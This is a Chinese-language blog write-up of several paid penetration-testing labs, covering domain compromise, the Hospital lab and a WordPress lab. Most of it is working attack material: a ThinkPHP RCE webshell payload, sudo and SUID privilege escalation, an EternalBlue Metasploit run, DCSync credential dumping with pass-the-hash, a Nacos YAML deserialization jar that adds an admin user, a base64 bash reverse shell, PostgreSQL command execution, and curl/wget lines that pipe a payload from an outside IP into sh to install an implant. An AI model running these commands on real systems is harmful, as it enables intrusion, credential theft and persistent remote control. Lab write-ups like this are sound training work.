今天不知道学点什么就氪金打了一下春秋云镜的靶场。只能说我对域的了解几乎为0。这篇文章记录一下域渗透的一些知识,和tp——cve的漏洞成因吧

thinkphp5.23rce漏洞

再路由随便传参数?s=asdwdwa就会发生报错,通过报错可以发现该think版本为5.23
其漏洞payload如下

1
2
3
GET /?s=captcha

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo 'PD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/Pg==' |base64 -d > shell.php

我们直接写马通过哥斯拉来连接

其权限为www-data。我们先进行常规提权。
先尝试suid提权并没有发现可以利用的命令

再尝试进行sudo提权

可以发现我们能够无密码使用mysql
我这里贴一个sudo提权的文章
Linux提权之Sudo 70种提权方法(上)
Linux提权之Sudo 70种提权方法(中)
Linux提权之Sudo 70种提权方法(下)

Linux提权之Sudo 70种提权方法
上面的文章记录了70种sudo提权的方法
我们这里使用mysql提权
payload

1
sudo mysql -e '\! HVV.out'

我们可以使用如上payload来以root权限运行我们的CS马从而上线root权限的liunx主机。
然后这道题目说了flag散落再不同的主机下。于是我们执行find / -name "flag"
来找flag

然后按照内网渗透的标准流程
ifconfig可以知道该主机ip为172.22.1.15

传netspy和fscan来扫内网的可达网段和资产

1
2
3
./fscan -h 172.22.1.15/24
./fscan -h 172.22.1.15/16
./netspy is

fscan的扫描结果如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
172.22.1.2:88 open
172.22.1.2:139 open
172.22.1.18:139 open
172.22.1.18:3306 open
172.22.1.21:445 open
172.22.1.2:445 open
172.22.1.18:445 open
172.22.1.2:135 open
172.22.1.21:135 open
172.22.1.18:135 open
172.22.1.18:80 open
172.22.1.15:80 open
172.22.1.15:22 open
172.22.1.21:139 open
[*] NetInfo
[*]172.22.1.18
[->]XIAORANG-OA01
[->]172.22.1.18
[*] NetInfo
[*]172.22.1.2
[->]DC01
[->]172.22.1.2
[*] NetInfo
[*]172.22.1.21
[->]XIAORANG-WIN7
[->]172.22.1.21
[+] MS17-010 172.22.1.21 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetBios 172.22.1.21 XIAORANG-WIN7.xiaorang.lab Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] WebTitle http://172.22.1.15 code:200 len:5578 title:Bootstrap Material Admin
[*] OsInfo 172.22.1.2 (Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.1.2 [+] DC:DC01.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.1.18 XIAORANG-OA01.xiaorang.lab Windows Server 2012 R2 Datacenter 9600
[*] WebTitle http://172.22.1.18 code:302 len:0 title:None 跳转url: http://172.22.1.18?m=login
[*] WebTitle http://172.22.1.18?m=login code:200 len:4012 title:信呼协同办公系统
[+] PocScan http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1
172.22.1.18:3306 open
172.22.1.2:445 open
172.22.1.21:445 open
172.22.1.18:445 open
172.22.1.2:139 open
172.22.1.21:139 open
172.22.1.18:139 open
172.22.1.2:135 open
172.22.1.21:135 open
172.22.1.18:135 open
172.22.1.18:80 open
172.22.1.15:80 open
172.22.1.15:22 open
172.22.1.2:88 open
[*] NetInfo
[*]172.22.1.18
[->]XIAORANG-OA01
[->]172.22.1.18
[*] NetInfo
[*]172.22.1.21
[->]XIAORANG-WIN7
[->]172.22.1.21
[*] NetInfo
[*]172.22.1.2
[->]DC01
[->]172.22.1.2
[*] OsInfo 172.22.1.2 (Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.1.21 XIAORANG-WIN7.xiaorang.lab Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] WebTitle http://172.22.1.15 code:200 len:5578 title:Bootstrap Material Admin
[*] NetBios 172.22.1.2 [+] DC:DC01.xiaorang.lab Windows Server 2016 Datacenter 14393
[+] MS17-010 172.22.1.21 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] WebTitle http://172.22.1.18 code:302 len:0 title:None 跳转url: http://172.22.1.18?m=login
[*] NetBios 172.22.1.18 XIAORANG-OA01.xiaorang.lab Windows Server 2012 R2 Datacenter 9600
[*] WebTitle http://172.22.1.18?m=login code:200 len:4012 title:信呼协同办公系统
[+] PocScan http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1

我们可以发现信呼协同办公系统和一个XIAORANG-WIN7.xiaorang.lab域内主机172.22.1.21存在永恒之蓝漏洞
我们先来大172.22.1.18的web系统

隧道

这里我用frp来搭隧道。配置如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//frpc.ini
[common]
server_addr = ip
server_port = 7000

[plugin_socks]
type = tcp
remote_port = 6000
plugin = socks5
plugin_user = admin
plugin_passwd = admin123
use_encryption = true
use_compression = true
//frps.ini
[common]
bind_port = 7000
dashboard_port = 7500
dashboard_user = admin
dashboard_pwd = password



运行frps -c frps.ini和frpc -c frpc.ini
就成功实现隧道的搭建了
然后用proxifier来进行全局代理,然后来对内网的网站进行渗透。

信呼协同办公系统

输入admin/admin123进入网站后台。在任务资源管理处存在文件上传漏洞

然后再访问

1
/task.php?m=qcloudCos|runt&a=run&fileid=<id>

即可恢复php后缀名
webshell路径upload/2024-11/21_16581360.php

可以发现其权限为system。我们直接看文件就可以看flag了。
因为我的哥斯拉看中文好像有编码错误于是我就换了蚁剑

虽然拿到了flag但是我还是在想能不能上线CS结果发现这个靶机是不出网的。
我在网上看到了几种方法
https://blog.csdn.net/weixin_44480014/article/details/125207525
通过Pystinger的socks4来做正向代理
因为春秋云镜的靶机太贵了,之后有时间我会在自己的本地搭环境来继续实验的

域内主机的永恒之蓝

我们通过msf来打这个永恒之蓝

1
vim /etc/proxychains4.conf

我们先配置kali的proxychains4代理设置

配置好密码后就可以使用msfconsole来打永恒之蓝了
1
2
3
4
5
proxychains msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
exploit


得到该主机的Meterpreter 会话

然后就是打xiaorang.lab的域控了
这里使用的是
DCSync攻击:
DCSync的原理是利用域控制器之间的数据同步复制
DCSync是AD域渗透中常用的凭据窃取手段,默认情况下,域内不同DC每隔15分钟会进行一次数据同步,当一个DC从另外一个DC同步数据时,发起请求的一方会通过目录复制协议(MS- DRSR)来对另外一台域控中的域用户密码进行复制,DCSync就是利用这个原理,“模拟”DC向真实DC发送数据同步请求,获取用户凭据数据,由于这种攻击利用了Windows RPC协议,并不需要登陆域控或者在域控上落地文件,避免触发EDR告警,因此DCSync时一种非常隐蔽的凭据窃取方式
DCSync 攻击前提:
想进行DCSync 攻击,必须获得以下任一用户的权限:
Administrators 组内的用户
Domain Admins 组内的用户
Enterprise Admins 组内的用户域控制器的计算机帐户
即:默认情况下域管理员组具有该权限

我们在获得的MS17-010这台机器加载mimikatz,并且本机是system权限
因为我们获得的机子权限已经为system权限了所有我们可以使用kiwi来对其进行DCSync攻击

1
2
load kiwi
kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv


得到域控主机管理员的用户凭证
然后我们就可以尝试使用crackmapexec来登陆域控admin进行命令执行
1
proxychains4 crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "whoami"




后面我也想对这个靶机进行cs上线,但是仍然不出网。
因为春秋云镜有点小贵我就把靶机关了
个人的思路是,通过正向代理来把信呼协同办公系统的靶机进行cs上线在通过信呼协同办公系统的机子作为跳板(作为监听器)来上线域内主机,然后进一步上线域控主机

这些我还需要再进一步的学习,还是因为囊中羞涩所以要再本地自主学习
flag{60b53231-2ce3-4813-87d4-e8f88d0d43d6}

MagicRelay

windows redis未授权

https://wiki.wgpsec.org/knowledge/web/unauthorized.html
狼组安全的文章中给出了redis未授权的几种攻击方法

但是我们无法再这个靶机上实现,
1.写webshell

我们可以看到这个靶机环境是没用web环境的,也就是我们无法写入webshell
2.写自启动项
这个也不太行,因为无法无法将靶机关机重启

3.劫持DLL
这个狼组的文章并没用写到。

Hospital

首先用fscan来扫

heapdunp泄露到shiro反序列化

可以扫到heapdump的泄露

访问/actuator可以看到其泄露的路径

/actuator/heapdump
用工具解析一下,这里我用JDumpSpider

1
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump >output.txt


发现shiro key,直接尝试shiro反序列化

上线vshell

直接将主机上线vshell方便操作。

1
(curl -fsSL -m180 http://111.xx.xxx.xxx:8084/slt||wget -T180 -q http://111.230.38.159:8084/slt)|sh

看一下suid权限可以发现vim.basic。我们利用vim.basic可以修改/etc/passwd从而添加root用户
1
2
3

find / -user root -perm -4000 -print 2>/dev/null

生成密码

1
2
3
openssl passwd -1 -salt 123 123456
-------------------------
$1$123$7mft0jKnzzvAdU4t0unTG1

添加用户
1
lse:$1$123$7mft0jKnzzvAdU4t0unTG1:0:0:root:/lse:/bin/bash

需要强制保存

用su lse输入密码就得到了root权限。然后再将root权限进行上线
在root目录下有flag01.txt

然后使用fscan扫一下

fscan默认不扫3389端口,所以我们还得再扫一次3389端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
                                                                                                             
[2025-03-11 13:08:03] [INFO] 暴力破解线程数: 1
[2025-03-11 13:08:03] [INFO] 开始信息扫描
[2025-03-11 13:08:03] [INFO] CIDR范围: 172.30.12.0-172.30.12.255
[2025-03-11 13:08:03] [INFO] 生成IP范围: 172.30.12.0.%!d(string=172.30.12.255) - %!s(MISSING).%!d(MISSING)
[2025-03-11 13:08:03] [INFO] 解析CIDR 172.30.12.5/24 -> IP范围 172.30.12.0-172.30.12.255
[2025-03-11 13:08:03] [INFO] 最终有效主机数量: 256
[2025-03-11 13:08:03] [INFO] 开始主机扫描
[2025-03-11 13:08:03] [SUCCESS] 目标 172.30.12.5 存活 (ICMP)
[2025-03-11 13:08:03] [SUCCESS] 目标 172.30.12.6 存活 (ICMP)
[2025-03-11 13:08:03] [SUCCESS] 目标 172.30.12.236 存活 (ICMP)
[2025-03-11 13:08:06] [INFO] 存活主机数量: 3
[2025-03-11 13:08:06] [INFO] 有效端口数量: 233
[2025-03-11 13:08:06] [SUCCESS] 端口开放 172.30.12.236:22
[2025-03-11 13:08:06] [SUCCESS] 端口开放 172.30.12.5:22
[2025-03-11 13:08:06] [SUCCESS] 端口开放 172.30.12.6:445
[2025-03-11 13:08:06] [SUCCESS] 端口开放 172.30.12.6:139
[2025-03-11 13:08:06] [SUCCESS] 端口开放 172.30.12.6:135
[2025-03-11 13:08:06] [SUCCESS] 端口开放 172.30.12.5:7777
[2025-03-11 13:08:06] [SUCCESS] 端口开放 172.30.12.236:8009
[2025-03-11 13:08:06] [SUCCESS] 端口开放 172.30.12.5:8080
[2025-03-11 13:08:06] [SUCCESS] 端口开放 172.30.12.236:8080
[2025-03-11 13:08:06] [SUCCESS] 端口开放 172.30.12.6:8848
[2025-03-11 13:08:06] [SUCCESS] 服务识别 172.30.12.236:22 => [ssh] 版本:8.2p1 Ubuntu 4ubuntu0.9 产品:OpenSSH 系统:Linux 信息:Ubuntu Linux; protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.9.]
[2025-03-11 13:08:06] [SUCCESS] 服务识别 172.30.12.5:22 => [ssh] 版本:8.2p1 Ubuntu 4ubuntu0.9 产品:OpenSSH 系统:Linux 信息:Ubuntu Linux; protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.9.]
[2025-03-11 13:08:11] [SUCCESS] 服务识别 172.30.12.6:445 =>
[2025-03-11 13:08:11] [SUCCESS] 服务识别 172.30.12.6:139 => Banner:[.]
[2025-03-11 13:08:11] [SUCCESS] 服务识别 172.30.12.236:8009 =>
[2025-03-11 13:08:12] [SUCCESS] 服务识别 172.30.12.5:8080 => [http]
[2025-03-11 13:08:12] [SUCCESS] 服务识别 172.30.12.236:8080 => [http]
[2025-03-11 13:08:17] [SUCCESS] 服务识别 172.30.12.6:8848 => [http]
[2025-03-11 13:09:11] [SUCCESS] 服务识别 172.30.12.6:135 =>
[2025-03-11 13:09:11] [SUCCESS] 服务识别 172.30.12.5:7777 =>
[2025-03-11 13:09:11] [INFO] 存活端口数量: 10
[2025-03-11 13:09:12] [INFO] 开始漏洞扫描
[2025-03-11 13:09:12] [INFO] 加载的插件: findnet, ms17010, netbios, smb, smb2, smbghost, ssh, webpoc, webtitle
[2025-03-11 13:09:12] [SUCCESS] NetInfo 扫描结果
目标主机: 172.30.12.6
主机名: Server02
发现的网络接口:
IPv4地址:
└─ 172.30.12.6
[2025-03-11 13:09:12] [SUCCESS] NetBios 172.30.12.6 WORKGROUP\SERVER02
[2025-03-11 13:09:12] [SUCCESS] 网站标题 http://172.30.12.236:8080 状态码:200 长度:3964 标题:医院后台管理平台
[2025-03-11 13:09:12] [SUCCESS] 网站标题 http://172.30.12.5:8080 状态码:302 长度:0 标题:无标题 重定向地址: http://172.30.12.5:8080/login;jsessionid=F6A511A43BB82965E27EF1E37A43330C
[2025-03-11 13:09:12] [SUCCESS] 网站标题 http://172.30.12.5:8080/login;jsessionid=F6A511A43BB82965E27EF1E37A43330C 状态码:200 长度:2005 标题:医疗管理后台
[2025-03-11 13:09:12] [SUCCESS] 目标: http://172.30.12.6:8848
漏洞类型: poc-yaml-alibaba-nacos
漏洞名称:
详细信息:
author:AgeloVito
links:https://blog.csdn.net/caiqiiqi/article/details/112005424
[2025-03-11 13:09:12] [SUCCESS] 网站标题 http://172.30.12.6:8848 状态码:404 长度:431 标题:HTTP Status 404 – Not Found
[2025-03-11 13:09:13] [SUCCESS] 目标: http://172.30.12.6:8848
漏洞类型: poc-yaml-alibaba-nacos-v1-auth-bypass
漏洞名称:
详细信息:
author:kmahyyg(https://github.com/kmahyyg)
links:https://github.com/alibaba/nacos/issues/4593
[2025-03-11 13:09:14] [SUCCESS] 目标: http://172.30.12.5:8080
漏洞类型: poc-yaml-spring-actuator-heapdump-file
漏洞名称:
详细信息:
author:AgeloVito
links:https://www.cnblogs.com/wyb628/p/8567610.html

然后使用vshell来搭建单重代理。直接傻瓜式操作

nacos未授权,yaml反序列化

可以发现这个机子的内网存在一个nacos且有nday未授权,可以查看和添加用户

/nacos/v1/auth/users?pageNo=1&pageSize=10

但不好拿shell。这里的漏洞是yaml反序列化。

我们的恶意类就用下面的项目恶意类
https://github.com/artsploit/yaml-payload
因为这个nacos主机开启了3389端口,所以直接干脆直接加一个用户

public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec(“net user lca Lca@123 /add”);
Runtime.getRuntime().exec(“net localgroup administrators lca /add”);
} catch (IOException e) {
e.printStackTrace();
}
}

1
2
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

因为nacos不能访问到外网所以我们将jar包传到我们的跳板机上然后开启python的http服务(注意这里就不能使用vshell了,vshell的交互式终端是有点问题的。我们直接使用ssh来连接这台机子)
之后使用我们的nacos利用工具或者手动利用
手动操作的话就是直接在配置里其yaml换成

1
2
3
4
5
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://172.30.12.5:802/yaml-payload.jar"]
]]
]

url是恶意jar包位置

成功收到了请求,直接用mstsc连一下rdp

因为我们添加的就是admin组用户所以可以直接看admin目录flag在admin目录下

fastjson反序列化,双网卡主机

之后就是打另一个医院后台了,因为这个使用了json传值,直接使用bp的插件Fastjson_EXP.jar尝试打fastjson

可以发现其直接打了马或者请求头回显了。而且是root权限

直接在root下拿flag3

1
2
3
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMzAuMTIuNS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}'
SHELL=/bin/bash script -q /dev/null

我们弹个shell到跳板机上好操作。我们改一下root的密码准备连一下ssh。(linux要得到体验好的交互式终端还是得连ssh)

1
2
3
passwd root

proxychains4 ssh root@172.30.12.236


连上了ssh

看一下网络配置可以发现其有eth0和eth1两个网卡。我们扫eth1的c段

wget http://172.30.12.5:8006/fscan
把跳板机的fscan下载下来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42


┌──────────────────────────────────────────────┐
│ ___ _ │
│ / _ \ ___ ___ _ __ __ _ ___| | __ │
│ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │
│ / /_\\_____\__ \ (__| | | (_| | (__| < │
│ \____/ |___/\___|_| \__,_|\___|_|\_\ │
└──────────────────────────────────────────────┘
Fscan Version: 2.0.0

[2025-03-10 22:36:37] [INFO] 暴力破解线程数: 1
[2025-03-10 22:36:37] [INFO] 开始信息扫描
[2025-03-10 22:36:37] [INFO] CIDR范围: 172.30.54.0-172.30.54.255
[2025-03-10 22:36:37] [INFO] 生成IP范围: 172.30.54.0.%!d(string=172.30.54.255) - %!s(MISSING).%!d(MISSING)
[2025-03-10 22:36:37] [INFO] 解析CIDR 172.30.54.179/24 -> IP范围 172.30.54.0-172.30.54.255
[2025-03-10 22:36:37] [INFO] 最终有效主机数量: 256
[2025-03-10 22:36:37] [INFO] 开始主机扫描
[2025-03-10 22:36:37] [SUCCESS] 目标 172.30.54.179 存活 (ICMP)
[2025-03-10 22:36:37] [SUCCESS] 目标 172.30.54.12 存活 (ICMP)
[2025-03-10 22:36:40] [INFO] 存活主机数量: 2
[2025-03-10 22:36:40] [INFO] 有效端口数量: 233
[2025-03-10 22:36:40] [SUCCESS] 端口开放 172.30.54.12:22
[2025-03-10 22:36:40] [SUCCESS] 端口开放 172.30.54.12:5432
[2025-03-10 22:36:40] [SUCCESS] 端口开放 172.30.54.12:3000
[2025-03-10 22:36:40] [SUCCESS] 端口开放 172.30.54.179:22
[2025-03-10 22:36:40] [SUCCESS] 端口开放 172.30.54.179:8080
[2025-03-10 22:36:40] [SUCCESS] 端口开放 172.30.54.179:8009
[2025-03-10 22:36:40] [SUCCESS] 服务识别 172.30.54.12:22 => [ssh] 版本:8.2p1 Ubuntu 4ubuntu0.9 产品:OpenSSH 系统:Linux 信息:Ubuntu Linux; protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.9.]
[2025-03-10 22:36:40] [SUCCESS] 服务识别 172.30.54.179:22 => [ssh] 版本:8.2p1 Ubuntu 4ubuntu0.9 产品:OpenSSH 系统:Linux 信息:Ubuntu Linux; protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.9.]
[2025-03-10 22:36:45] [SUCCESS] 服务识别 172.30.54.12:5432 =>
[2025-03-10 22:36:45] [SUCCESS] 服务识别 172.30.54.12:3000 => [http] Banner:[HTTP/1.1 400 Bad Request.Content-Type: text/plain; charset=utf-8.Connection: close.400 Bad Request]
[2025-03-10 22:36:45] [SUCCESS] 服务识别 172.30.54.179:8009 =>
[2025-03-10 22:36:46] [SUCCESS] 服务识别 172.30.54.179:8080 => [http]
[2025-03-10 22:36:46] [INFO] 存活端口数量: 6
[2025-03-10 22:36:46] [INFO] 开始漏洞扫描
[2025-03-10 22:36:46] [INFO] 加载的插件: postgres, ssh, webpoc, webtitle
[2025-03-10 22:36:46] [SUCCESS] 网站标题 http://172.30.54.179:8080 状态码:200 长度:3964 标题:医院后台管理平台
[2025-03-10 22:36:46] [SUCCESS] 网站标题 http://172.30.54.12:3000 状态码:302 长度:29 标题:无标题 重定向地址: http://172.30.54.12:3000/login
[2025-03-10 22:36:46] [SUCCESS] 网站标题 http://172.30.54.12:3000/login 状态码:200 长度:27909 标题:Grafana
[2025-03-10 22:42:46] [SUCCESS] 扫描已完成: 9/9

可以发现172.30.54.12:3000存在一个web服务。但是172.30.54.12这个机子是不同我们的跳板机的,所以我们不能简单的使用单重代理来带出流量了,我们要使用多重代理来讲这个网站的流量带出

可以看到只要一个主机172.30.54.12服务扫不全使用nmap来扫

1
nmap -Pn -sT 172.30.54.12

单重代理

1
./linux_x64_admin -l 1234 -s 123
1
./linux_x64_agent -c 111.230.38.159:1234 -s 123 --reconnect 8
1
2
3
use 0

socks 6666

多重代理

在我们的vps上运行控制端

1
./linux_x64_admin -l 1234 -s 123

在我们的第一个跳板机上使用
1
./linux_x64_agent -c 111.230.38.159:1234 -s 123 --reconnect 8

建立连接后在控制端使用
1
2
3
4
use 0
listen
1
1234

在我们的双网卡主机上使用

1
./linux_x64_agent -c 172.30.12.5:1234 -s 123 --reconnect 8

之后在控制端可以看到node1的加入使用,就可以在控制端开启socks5代理

1
2
3
4
5
back

use 1

socks 6666

注意node1加入时要back来退出node 0

Grafana任意文件读取漏洞

可以看到web服务是Grafana,版本是8.30
Grafana任意文件读取漏洞(CVE-2021-43798)
影响版本:
Grafana 8.0.0 - 8.3.0

安全版本:
Grafana 8.3.1, 8.2.7, 8.1.8, 8.0.7

我们可以使用Grafana任意文件读取漏洞
https://github.com/asaotomo/CVE-2021-43798-Grafana-Exp

1
2
3
4
5
6
root@web03:~# ./grafanaExp_linux_amd64 exp -u http://172.30.54.12:3000
2023/12/29 17:41:34 Target vulnerable has plugin [alertlist]
2023/12/29 17:41:34 Got secret_key [SW2YcwTIb9zpOOhoPsMm]
2023/12/29 17:41:34 There is [0] records in db.
2023/12/29 17:41:34 type:[postgres] name:[PostgreSQL] url:[localhost:5432] user:[postgres] password[Postgres@123]database:[postgres] basic_auth_user:[] basic_auth_password:[]
2023/12/29 17:41:34 All Done, have nice day!

得到Grafana数据库postgres的密码Postgres@123,
用我们挂的双重代理直接登陆这个数据库
pgsql数据库是可以命令执行的
1
2
3
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;

select system("whoami")

和之前刷HTB类似因为会对&进行转义所以我们先弹一个无回显的shell然后通过无回显shell弹有回显shell
1
2
3
4
select system('bash -c "bash -i 0> /dev/tcp/10.10.15.129/7777"')

bash -c "bash -i &> /dev/tcp/172.30.12.236/7778 0>&1"


拿到回显shell之后升级为交互式,sudo -l可以看到psql具有sudo权限

那么我们就可以以root用户登陆pgsql。我们得先更改一下数据库root用户的密码

直接sudo提权(sudo提权需要写全路径)

1
2
3
4
5
6
7
sudo -l
sudo /usr/local/postgresql/bin/psql

\?
Input/Output
!/bin/bash

拿到root权限

参考文章

https://fushuling.com/index.php/2023/09/21/%e5%86%85%e7%bd%91%e4%bb%a3%e7%90%86%e6%90%ad%e5%bb%ba/

https://fushuling.com/index.php/2024/01/06/%E6%98%A5%E7%A7%8B%E4%BA%91%E5%A2%83-hospital/

2022网鼎杯半决赛复盘

wordpress弱口令后台拿shell

开放了80和22端口
http://39.99.139.125/
80端口是wordpress使用wpscan扫没扫到什么漏洞。
http://39.99.139.125/wp-admin
弱口令admin/123456登陆成功

进入后台之后我们可以修改插件的代码。从而拿到shell

插件在/wp-content/plugins文件夹下,php路径页面上有写

然后上线vshell

1
(curl -fsSL -m180 http://111.230.38.159:8084/slt||wget -T180 -q http://111.230.38.159:8084/slt)|sh

权限只要web权限,常规的suid和sudo提权都不太行
直接全局找一下flag
1
find / -name "flag" 2>/dev/null


根目录下就是flag01

内网信息收集

fscan扫一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100

[2025-03-12 20:25:21] [INFO] 暴力破解线程数: 1
[2025-03-12 20:25:21] [INFO] 开始信息扫描
[2025-03-12 20:25:21] [INFO] CIDR范围: 172.22.15.0-172.22.15.255
[2025-03-12 20:25:21] [INFO] 生成IP范围: 172.22.15.0.%!d(string=172.22.15.255) - %!s(MISSING).%!d(MISSING)
[2025-03-12 20:25:21] [INFO] 解析CIDR 172.22.15.26/24 -> IP范围 172.22.15.0-172.22.15.255
[2025-03-12 20:25:21] [INFO] 最终有效主机数量: 256
[2025-03-12 20:25:21] [INFO] 开始主机扫描
[2025-03-12 20:25:21] [INFO] 正在尝试无监听ICMP探测...
[2025-03-12 20:25:21] [INFO] 当前用户权限不足,无法发送ICMP包
[2025-03-12 20:25:21] [INFO] 切换为PING方式探测...
[2025-03-12 20:25:21] [SUCCESS] 目标 172.22.15.26 存活 (ICMP)
[2025-03-12 20:25:21] [SUCCESS] 目标 172.22.15.35 存活 (ICMP)
[2025-03-12 20:25:21] [SUCCESS] 目标 172.22.15.18 存活 (ICMP)
[2025-03-12 20:25:21] [SUCCESS] 目标 172.22.15.24 存活 (ICMP)
[2025-03-12 20:25:22] [SUCCESS] 目标 172.22.15.13 存活 (ICMP)
[2025-03-12 20:25:27] [INFO] 存活主机数量: 5
[2025-03-12 20:25:27] [INFO] 有效端口数量: 233
[2025-03-12 20:25:27] [SUCCESS] 端口开放 172.22.15.18:80
[2025-03-12 20:25:27] [SUCCESS] 端口开放 172.22.15.24:80
[2025-03-12 20:25:27] [SUCCESS] 端口开放 172.22.15.26:80
[2025-03-12 20:25:27] [SUCCESS] 端口开放 172.22.15.13:88
[2025-03-12 20:25:27] [SUCCESS] 端口开放 172.22.15.26:22
[2025-03-12 20:25:27] [SUCCESS] 端口开放 172.22.15.13:135
[2025-03-12 20:25:27] [SUCCESS] 端口开放 172.22.15.35:139
[2025-03-12 20:25:27] [SUCCESS] 端口开放 172.22.15.24:135
[2025-03-12 20:25:27] [SUCCESS] 端口开放 172.22.15.35:135
[2025-03-12 20:25:27] [SUCCESS] 端口开放 172.22.15.18:135
[2025-03-12 20:25:27] [SUCCESS] 端口开放 172.22.15.13:139
[2025-03-12 20:25:27] [SUCCESS] 端口开放 172.22.15.24:139
[2025-03-12 20:25:27] [SUCCESS] 端口开放 172.22.15.18:139
[2025-03-12 20:25:27] [SUCCESS] 端口开放 172.22.15.13:389
[2025-03-12 20:25:27] [SUCCESS] 端口开放 172.22.15.13:445
[2025-03-12 20:25:27] [SUCCESS] 端口开放 172.22.15.35:445
[2025-03-12 20:25:27] [SUCCESS] 端口开放 172.22.15.24:445
[2025-03-12 20:25:27] [SUCCESS] 端口开放 172.22.15.18:445
[2025-03-12 20:25:28] [SUCCESS] 服务识别 172.22.15.26:22 => [ssh] 版本:8.2p1 Ubuntu 4ubuntu0.5 产品:OpenSSH 系统:Linux 信息:Ubuntu Linux; protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5.]
[2025-03-12 20:25:33] [SUCCESS] 服务识别 172.22.15.26:80 => [http]
[2025-03-12 20:25:33] [SUCCESS] 服务识别 172.22.15.13:88 =>
[2025-03-12 20:25:33] [SUCCESS] 服务识别 172.22.15.18:80 => [http]
[2025-03-12 20:25:33] [SUCCESS] 服务识别 172.22.15.35:139 => Banner:[.]
[2025-03-12 20:25:33] [SUCCESS] 服务识别 172.22.15.24:80 => [http]
[2025-03-12 20:25:33] [SUCCESS] 服务识别 172.22.15.13:139 => Banner:[.]
[2025-03-12 20:25:33] [SUCCESS] 服务识别 172.22.15.24:139 => Banner:[.]
[2025-03-12 20:25:33] [SUCCESS] 服务识别 172.22.15.18:139 => Banner:[.]
[2025-03-12 20:25:33] [SUCCESS] 服务识别 172.22.15.13:389 => [ldap] 产品:Microsoft Windows Active Directory LDAP 系统:Windows 信息:Domain: xiaorang.lab, Site: Default-First-Site-Name
[2025-03-12 20:25:33] [SUCCESS] 服务识别 172.22.15.13:445 =>
[2025-03-12 20:25:33] [SUCCESS] 服务识别 172.22.15.35:445 =>
[2025-03-12 20:25:33] [SUCCESS] 服务识别 172.22.15.24:445 =>
[2025-03-12 20:25:33] [SUCCESS] 服务识别 172.22.15.18:445 =>
[2025-03-12 20:25:33] [SUCCESS] 端口开放 172.22.15.24:3306
[2025-03-12 20:25:38] [SUCCESS] 服务识别 172.22.15.24:3306 => [mysql] 版本:5.7.26 产品:MySQL Banner:[J.5.7.26.v3 ANa;.`.b& !]. r mysql_native_password]
[2025-03-12 20:26:33] [SUCCESS] 服务识别 172.22.15.13:135 =>
[2025-03-12 20:26:33] [SUCCESS] 服务识别 172.22.15.24:135 =>
[2025-03-12 20:26:33] [SUCCESS] 服务识别 172.22.15.35:135 =>
[2025-03-12 20:26:33] [SUCCESS] 服务识别 172.22.15.18:135 =>
[2025-03-12 20:26:33] [INFO] 存活端口数量: 19
[2025-03-12 20:26:33] [INFO] 开始漏洞扫描
[2025-03-12 20:26:33] [INFO] 加载的插件: findnet, ldap, ms17010, mysql, netbios, smb, smb2, smbghost, ssh, webpoc, webtitle
[2025-03-12 20:26:33] [SUCCESS] NetInfo 扫描结果
目标主机: 172.22.15.13
主机名: XR-DC01
发现的网络接口:
IPv4地址:
└─ 172.22.15.13
[2025-03-12 20:26:33] [SUCCESS] NetInfo 扫描结果
目标主机: 172.22.15.24
主机名: XR-WIN08
发现的网络接口:
IPv4地址:
└─ 172.22.15.24
[2025-03-12 20:26:33] [SUCCESS] 网站标题 http://172.22.15.24 状态码:302 长度:0 标题:无标题 重定向地址: http://172.22.15.24/www
